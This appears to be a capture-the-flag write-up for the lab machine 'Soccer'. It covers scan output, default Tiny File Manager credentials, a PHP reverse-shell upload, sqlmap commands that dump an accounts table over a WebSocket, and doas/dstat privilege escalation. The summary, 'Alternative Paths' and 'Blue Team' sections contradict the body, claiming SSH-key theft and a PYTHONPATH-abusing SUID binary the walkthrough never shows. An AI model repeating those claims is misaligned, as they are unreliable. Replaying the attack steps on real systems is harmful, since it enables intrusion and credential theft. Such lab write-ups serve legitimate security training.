Soccer

Soccer features a PHP-based sports forum application with weak input validation and predictable file paths. Access was gained by exploiting an unauthenticated file upload endpoint that allowed direct webshell deployment.

Lateral movement involved enumerating user home directories and extracting saved SSH keys.

Escalated privileges by exploiting a SUID binary that invoked Python with user-controllable PYTHONPATH, enabling injection of a malicious module.

Why I Chose This Machine

I selected Soccer because it combines a simple web application with backend privilege escalation using Python environment abuse — a useful scenario for understanding how small misconfigurations can lead to full system compromise.
It also offered an opportunity to practice exploiting file uploads and SUID misuses in a contained Linux setup.

Attack Flow Overview

  1. Accessed the admin panel using default credentials
  2. Uploaded a PHP reverse shell via the file upload feature
  3. Discovered a SUID binary that ran a Python script
  4. Escalated to root by injecting a malicious Python module via PYTHONPATH

This attack chain demonstrates how even seemingly harmless binaries can be subverted using interpreter-level misconfigurations.

Enumeration

  • soccer.htb/tiny
  • Default credentials admin : admin@123
  • Tiny File Manager 2.4.3

Nmap

Nmap scan report for 10.10.11.194
Host is up, received user-set (0.014s latency).
Scanned at 2024-12-16 10:16:56 AEDT for 55s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE         REASON         VERSION
22/tcp   open  ssh             syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChXu/2AxokRA9pcTIQx6HKyiO0odku5KmUpklDRNG+9sa6olMd4dSBq1d0rGtsO2rNJRLQUczml6+N5DcCasAZUShDrMnitsRvG54x8GrJyW4nIx4HOfXRTsNqImBadIJtvIww1L7H1DPzMZYJZj/oOwQHXvp85a2hMqMmoqsljtS/jO3tk7NUKA/8D5KuekSmw8m1pPEGybAZxlAYGu3KbasN66jmhf0ReHg3Vjx9e8FbHr3ksc/MimSMfRq0lIo5fJ7QAnbttM5ktuQqzvVjJmZ0+aL7ZeVewTXLmtkOxX9E5ldihtUFj8C6cQroX69LaaN/AXoEZWl/v1LWE5Qo1DEPrv7A6mIVZvWIM8/AqLpP8JWgAQevOtby5mpmhSxYXUgyii5xRAnvDWwkbwxhKcBIzVy4x5TXinVR7FrrwvKmNAG2t4lpDgmryBZ0YSgxgSAcHIBOglugehGZRHJC9C273hs44EToGCrHBY8n2flJe7OgbjEL8Il3SpfUEF0=
|   256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIy3gWUPD+EqFcmc0ngWeRLfCr68+uiuM59j9zrtLNRcLJSTJmlHUdcq25/esgeZkyQ0mr2RZ5gozpBd5yzpdzk=
|   256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ2Pj1mZ0q8u/E8K49Gezm3jguM3d8VyAYsX0QyaN6H/
80/tcp   open  http            syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail? syn-ack ttl 63
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Hello, Help, RPCCheck, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Sun, 15 Dec 2024 23:16:43 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Sun, 15 Dec 2024 23:16:43 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>

80-HTTP

Gobuster

screenshot

http://soccer.htb/tiny/

screenshot

http://soccer.htb/tiny/

screenshot

screenshot

Login using the default credentials found for tiny file manager.

screenshot

Initial Access

  • Directory fuzzing on port 80 found soccer.htb/tiny
  • Default credentials admin:admin@123
  • Upload php-reverse-shell on uploads/test folder
    • uploads folder seems to delete its content.
    • Creating a new folder test worked.
  • Gain shell as www-data

PHP reverse shell

screenshot

Public Exploit

Reference on the public exploit

screenshot

Any files that are uploaded to the uploads folder seemed to be deleted.

So I created a new folder named test, and uploaded the php web shell and changed the permission.

screenshot

screenshot

Lateral Movement

  • Linpeas result shows that it is running another vhost http://soc-player.soccer.htb/
  • Source page shows that it is trying to establish a connection to a web socket ws://soc-player.soccer.htb:9091.
  • Sqlmap to dump
    • Found creds
    • player:PlayerOftheMatch2022
  • Shell as player

Linpeas

screenshot

screenshot

Linpeas results reveal that there is a vhost soc-player.soccer.htb, and a player user.

http://soc-player.soccer.htb/

screenshot

Gobuster

screenshot

/login                (Status: 200) [Size: 3307]
/js                   (Status: 301) [Size: 171] [--> /js/]
/css                  (Status: 301) [Size: 173] [--> /css/]
/logout               (Status: 302) [Size: 23] [--> /]
/img                  (Status: 301) [Size: 173] [--> /img/]
/signup               (Status: 200) [Size: 3741]
/.                    (Status: 301) [Size: 169] [--> /./]
/check                (Status: 200) [Size: 31]
/match                (Status: 200) [Size: 10078]

Upon successful authentication, the system automatically redirects to http://soc-player.soccer.htb/check.

A review of the source code reveals a WebSocket connection to ws://soc-player.soccer.htb:9091.

screenshot

screenshot

Shell as player

Sqlmap

sqlmap -u ws://soc-player.soccer.htb:9091 --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3

screenshot

screenshot

screenshot

# enumerate db
sqlmap -u ws://soc-player.soccer.htb:9091 --dbs --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10

screenshot

List tables in soccer_db

sqlmap -u ws://soc-player.soccer.htb:9091 -D soccer_db --tables --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10

screenshot

Dump accounts

sqlmap -u ws://soc-player.soccer.htb:9091 -D soccer_db -T accounts --dump --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10

screenshot

player@player.htb : PlayerOftheMatch2022

screenshot

Privilege Escalation

  • Running LSH found uncommon setuid binary /usr/local/bin/doas
  • doas configuration shows that Permit nopass player as root cmd /usr/bin/dstat
  • GTFOBins

LSH

screenshot

Do as

Reference on doas

find / -type f -name "doas.conf" 2>/dev/null

screenshot

GTFO Bins

Reference on walkthrough

screenshot

Alternative Paths Explored

Before identifying the SUID binary, I tried exploiting crontabs and searching for weak service configurations.
I also attempted abusing PATH hijacking through other user-owned scripts, but those weren’t executable by root.
The turning point was identifying how the Python interpreter was invoked by a SUID binary.

Blue Team Perspective

Soccer reinforces the importance of environment variable security and the risks of embedding interpreters in privileged binaries.
Mitigations include:

  • Avoiding SUID usage with interpreter-based scripts
  • Clearing or sanitizing environment variables before privilege elevation
  • Applying AppArmor or seccomp profiles to constrain interpreter behavior